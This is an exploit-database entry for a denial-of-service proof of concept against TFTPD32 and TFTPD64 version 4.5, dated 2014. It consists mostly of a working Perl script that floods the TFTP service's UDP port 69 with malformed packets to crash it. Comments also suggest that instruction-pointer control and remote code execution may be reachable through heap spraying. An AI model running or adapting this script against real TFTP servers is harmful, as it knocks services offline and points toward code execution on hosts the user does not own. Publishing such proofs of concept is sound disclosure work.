# Exploit Title: TFTPD32 4.5 / TFTPD64 4.5 DoS poc
# Date: 13/05/2014
# Exploit Author: j0s3h4x0r
# Homepage: http://tftpd32.jounin.net/tftpd32_testimonials.html
# Software Link: http://tftpd32.jounin.net/download/tftpd32.450.zip
# Version: 4.5 32 bits / 4.5 64 bits
# Tested on: [Windows 7 x64]

#this proof of concept code will crash tftpd32 and tftpd64
#you can try changing $j and $i loop limits
#most of the times EIP reaches 0x2E373231 == "127." or any string contained in tftpd32 error logs
#and sometimes EIP reaches addresses similar to 0x00013200 so Remote Code Execution may be possible using some form of heap-spray

## Exploit-DB Note: $j=5, $i=2500 caused a crash. 



#!/usr/bin/perl -w

use IO::Socket;

for (my $j = 0; $j < 2; $j++)
{
	sleep(2);
	for (my $i = 0; $i < 1500; $i++)
	{
		$st_socket = IO::Socket::INET->new(Proto=>'udp', PeerAddr=>'127.0.0.1', PeerPort=>69) or die "connect error";
	
		$p_c_buffer = "\x0c\x0d" x 10;
	
		print $st_socket $p_c_buffer;
	
		close($st_socket);

		print "sent " . $i . "\n";
	}
}

exit;
